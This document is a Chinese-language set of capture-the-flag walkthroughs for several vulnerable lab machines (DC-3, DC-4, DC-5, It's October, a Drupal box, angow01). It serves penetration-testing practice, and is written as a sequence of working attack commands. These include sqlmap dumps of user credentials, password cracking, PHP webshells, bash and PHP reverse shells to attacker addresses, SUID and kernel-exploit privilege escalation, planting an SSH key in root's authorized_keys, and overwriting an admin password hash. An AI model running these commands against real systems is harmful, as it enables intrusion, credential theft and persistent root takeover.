总字符数: 18.71K

代码: 1.12K, 文本: 4.63K

预计阅读时间: 25 分钟

Escape

DC-3

arp-scan

使用Kali中的arp-scan工具扫描结果如下:

nmap

探测使用nmap工具

端口扫描结果如下:

由扫描结果知开放端口只有一个: 80(http默认端口).

访问web

访问web界面如下:

对网站信息收集

打开插件Wappalyzer进行网站指纹识别如下:

从指纹识别信息中提取出的信息有:

1 内容管理系统(CMS):Joomla

Joomla*!*是使用PHP语言加上MySQL数据库所开发的软件系统.

2 操作系统:Ubuntu

3 字体脚本:Google Font API

4 Web服务器:Apache 2.4.18

5 编程语言:PHP

6 JavaScript:JQuery 1.12.4 JQuery Migrate 1.4.1

7 用户界面(UI)框架:Bootstrap

Kali中的joomscan网站扫描工具就是专门用来扫描此类网站的

perl joomscan.pl --url http://172.16.12.151

其中joomla版本为:3.7.0

后台管理页面为:http://192.168.164.132/administrator/

用户密码破解

搜索漏洞

我们查看这个sql注入的文本文档

写的很详细,包括注入的类型和payload及使用sqlmap暴力注入

直接上sqlmap

暴库

sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

暴表

sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

看到了user相关表

暴字段

qlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

暴内容

sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]

破解密码

将密文保存到一个文件中使用john破解,:后面的为密码

用户admin的密码为snoopy

使用admin登录web

提权

生成木马

访问Protostar Details and Files

点进去更改index.php的内容,写入木马

保存,使用weevely连接

Find查找有特殊位权限文件find / -perm -u=s -type f 2>/dev/null

查看系统内核以及系统版本

只要符合条件的都可以试一下,这里选择39772,下载

记住使用方法,kali去下载这个压缩包

靶机下载

解压zip

进入目录,继续解压exp

反弹shell,weevely有些不好使

更换为全交互终端

python3 -c 'import pty;pty.spawn("/bin/bash")'

进入这个目录,运行文件

等待大概1分钟,提权成功

查看flag

DC-4

环境搭建

下载靶场文件,使用Vbox或者VM打开即可;攻击机使用kali-2020.

信息收集

主机发现
使用Kali中的arp-scan工具扫描结果如下

端口探测

探测使用nmap工具

由扫描结果知开放端口有两个:22(SSH服务默认端口)和80(http默认端口)

目录扫描

dirsearch

访问web

访问web界面如下

网站信息收集**

打开插件Wappalyzer进行网站指纹识别如下

从指纹识别信息中提取出的信息有:

1 Web服务器:Nginx 1.15.0

右键点击查看源代码未发现flag字样

从源代码中只能看见用户名/密码的提交方式为POST方式,先尝试一些常见的用户名和密码如admin:admin等登陆失败,用php万能密码登录也是失败.
用户密码破解

账号密码:admin,happy,没必要爆破,有些人的教程是爆破,很多字典里基本不会有这种词

使用账号密码登录如下

点击Commad出现如下

点击第一个选项点击run出现如下页面

继续用bp抓包看看

看样子我们可以在这里抓包更改执行我们想要执行的命令,直接反弹shell

exim4提权

发现可以使用exim4进行提权操作

查看版本号,版本为4.89

Kali中寻找提权方法

上面中最后选用的是46996.sh脚本,将此文件上传到DC-4上尽量下载到tmp目录下,记得chmod 777 46996.sh

开始提权

提权成功,查看flag文件

DC-5

渗透过程
  1. kali扫描局域网:

    1
    arp-scan -l

    nmap扫描开放的服务及端口:

    1
    nmap -sS -Pn -p- -v -P4 192.168.138.133

    看到开启了80端口的web服务,访问http://192.168.138.133

    使用kali自带的目录爆破工具dirbuster对该ip的目录结构进行爆破:

    访问扫描出来的footer.php文件:

    发现每次访问,年份都会发生变化:

    并且在每个页面的底部都有类似字样:

    猜测对footer.php进行了文件包含

    这里使用kali自带的wfuzz工具,对文件包含的参数进行爆破:

    1
    wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.138.133/thankyou.php?FUZZ=/etc/passwd

    -z指定字典文件/usr/share/wfuzz/wordlist/general/common.txt,第二个参数指定爆破的url地址和参数位置(FUZZ所在位置)

    通过判断返回包长度来确定正确的参数,这里尝试读取/etc/passwd

    1
    http://192.168.138.133/thankyou.php?file=/etc/passwd

    成功读取

    可以尝试包含access.log日志文件:

    1
    http://192.168.138.133/thankyou.php?file=/var/log/nginx/access.log

    那我们可以采用在access.log注入一句话木马,然后进行包含来运行.

    使用蚁剑终端反弹shell:

    1
    bash -c 'bash -i >& /dev/tcp/192.168.138.129/7777 0>&1'

    使用python将半交互式shell转换为全交互式shell:

    1
    python -c 'import pty;pty.spawn("/bin/bash")'

    尝试使用suid进行提权:

    1
    find / -perm -u=s -type f 2>/dev/null

    screen程序可能进行提权,使用searchsploit搜索该程序相关漏洞:

    1
    searchsploit screen 4.5.0

    存在越权点,将41154.sh文件拷贝到当前目录:

    1
    searchsploit -m 41154.sh

    将其使用蚁剑上传至靶机中,并更改权限为777:

    在反弹的shell中执行该脚本文件:

    1
    ./41154.sh

    成功提权至root

october

靶场搭建

下载完导入虚拟机,然后使用默认桥接模式即可.
下载链接:https://www.vulnhub.com/entry/its-october-1,460/
如果出现IP无法分配可参考:
https://www.cnblogs.com/yichen115/p/12609048.html

信息收集

app-scan

扫描内网发现敏感IParp-scan -l

nmap

nmap -sS -Pn -v -A T4 192.168.164.130 使用namp扫描常用端口

dirsearch

扫描敏感目录

  1. dirsearch -u http://192.168.164.130,可以看到auth,盲猜是个登录页面,访问看一下

    看到需要账号密码,暂时放弃

  2. dirsearch -u http://192.168.164.130:8080

    查看8080端口有没有隐藏信息,后面在8080端口的源代码中发现了注释代码

    访问这个页面,可以看到账号密码,拿这个账号密码去登录

登录进来之后查找指纹信息

使用searchsploit漏洞库搜索一下相关手册,下载这个手册

在这个手册中可以发现PHP upload protection bypass 可以通过这个方法绕过一下,我这里通过Google使用了cms中的创建文件的方法

写入代码

1
2
3
function onstart(){
$s=fsockopen("YOUR-VPS",6666);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

kali监听6666端口,并且去访问这个页面

系统提权

用某些方法将以下文件下载到KALIhttps://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh然后用kali起一个服务,在靶场使用wget下载sh文件,并且赋予可执行权限

python3 -m http.server 8080

通过上图发现了这台机器有python3.7.使用python3.7将当前半交互Shell变为全交互python3 -c 'import pty;pty.spawn("/bin/bash")'

使用find看看root权限中的命令有没有python3.7

1
2
3
4
5
6
7
8
9
find / -perm -u=s -type f 2>/dev/null
# / 表示从文件系统的顶部(根)开始并找到每个目录
# -perm 表示搜索随后的权限
# -u=s 表示查找root用户拥有的文件
# -type表示我们正在寻找的文件类型
# f 表示常规文件,而不是目录或特殊文件
# 2 表示该进程的第二个文件描述符,即stderr(标准错误)
#>表示重定向
# /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容

用带有root权限的Python3.7去新建一个终端,那么这个终端就会带有root权限

1
2
3
# bash -p 开启一个新shell suid的话自然是开启 root shell
# os模块: 对进程和进程运行环境进行管理
/usr/bin/python3.7 -c 'import os; os.execl("/bin/bash", "bash", "-p")

这里可以看到uid虽然是www-data的,但是euid却是root的.

linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)

RUID, 用于在系统中标识一个用户是谁,当用户使用用户名和密码成功登录后一个UNIX系统后就唯一确定了他的RUID.

EUID, 用于系统决定用户对系统资源的访问权限,通常情况下等于RUID.

SUID,用于对外权限的开放.跟RUIDEUID是用一个用户绑定不同,它是跟文件而不是跟用户绑定.

ssh登录

思路:使用kali的ssh密钥替换掉被攻击机的密钥来实现远程登录.

  1. kali生成密钥:ssh-keygen -t rsa

  2. 使用python起一个web服务(将id_rsa.pub从.ssh目录复制到其他目录后,再从其他目录开启服务),python3 -m http.server 8080靶机使用wget下载id_rsa.pub

  3. cp id_rsa.pub /root/.ssh/authorized_keys

  1. 最后在攻击机上使用root私钥进行ssh连接

drupal

靶场环境搭建:直接打开虚拟机

信息收集

app-scan

扫描内网发现敏感IParp-scan -l

nmap

nmap -sS -Pn -v -A T4 192.168.164.131 使用namp扫描常用端口

发现80端口,打开后发现需要登录,发现指纹为:drupal

攻击

msf

使用msf扫描指纹相关漏洞并且使用

设置要攻击的IP

运行,获取meterpreter

在当前目录下发现了flag1

查看文件内容

大概提示是一个优秀的cms一定会有配置文件,下面有请百度战士,搜一下drupal的项目结构

首先查看数据库配置文件,发现配置文件中有mysql账号密码

通过数据库账号密码连接到数据库查看敏感库以及表,找到后台的账号密码

发现了一个users表,查一下内容

发现密码加密,查找加密的文件(上面百度搜的时候说了scripts目录下有数据库相关脚本),发现了敏感词汇,password打开之后可以发现就是我们要找的password加密文件

重新加密一个密码替换进去,原加密密文一定记得保存,后续还要替换回去

在/vat/www下使用加密脚本用法./scripts/password-hash.sh [需要加密的明文]使用方法还可以看这个脚本的源代码,里面有写

进入数据库后执行UPDATE users SET pass="$S$Dv1IQzDZwEol9ORsIWxj1td1f.4yv/EDQBZ/HFqF46S84tS13gSU" where uid=1;

可以发现已经被替换

使用admin和123456进入后台,各个功能点开试一下,发现了flag3打开看一下

捕获关键字

flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到

/etc/passwd文件和/etc/shadow文件

  1. 所有的用户的账号和密码都在这两个文件中

  2. /etc/passwd保存着每个用户账号.该文件只有管理员可以修改,但是对于所有的用户都可读

  3. /etc/shadow保存着密码等信息.该文件只有系统管理员能够修改和查看,其他用户不能查看、修改.

查看/etc/passwd文件

在最后一行可以看到flag4在/home/flag4下

提示我们需要root权限,提权

find / -perm -u=s -type f 2>/dev/null

find . -exec /bin/sh \;

提权成功

到root目录下查看最终flag

登入msyql,将原来的密文替换回去

UPDATE users SET pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where uid=1;

可以看到已经替换回去了,剩下的权限维持自行发挥吧

angow01

如果出现IP无法分配可参考:
https://www.cnblogs.com/yichen115/p/12609048.html

arp-scan

nmap

访问80页面,测试一下基本功能点,发现这个地方有rce

http://192.168.164.133/site/busque.php?buscar=ls

写马

http://192.168.164.133/site/busque.php?buscar=echo%20%27%3C?php%20eval($_POST[%27a%27]);%27%20%3E%203.php

进去之后,反弹shellbash -c 'bash -i > /dev/tcp/192.168.164.129/443 0>&1'

此靶场只能用443反弹shell请注意

使用python3.7将当前半交互Shell变为全交互

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

提权

Find查找有特殊位权限文件find / -perm -u=s -type f 2>/dev/null

查看系统内核以及系统版本

根据前面的系统版本和内核查找历史漏洞

可以一个个测试,这里测试了45010可以

下载45010

使用蚁剑,将这个.c文件上传到靶机的tmp目录下

使用靶机编译

使用chmod 赋予a.out权限

发现了flag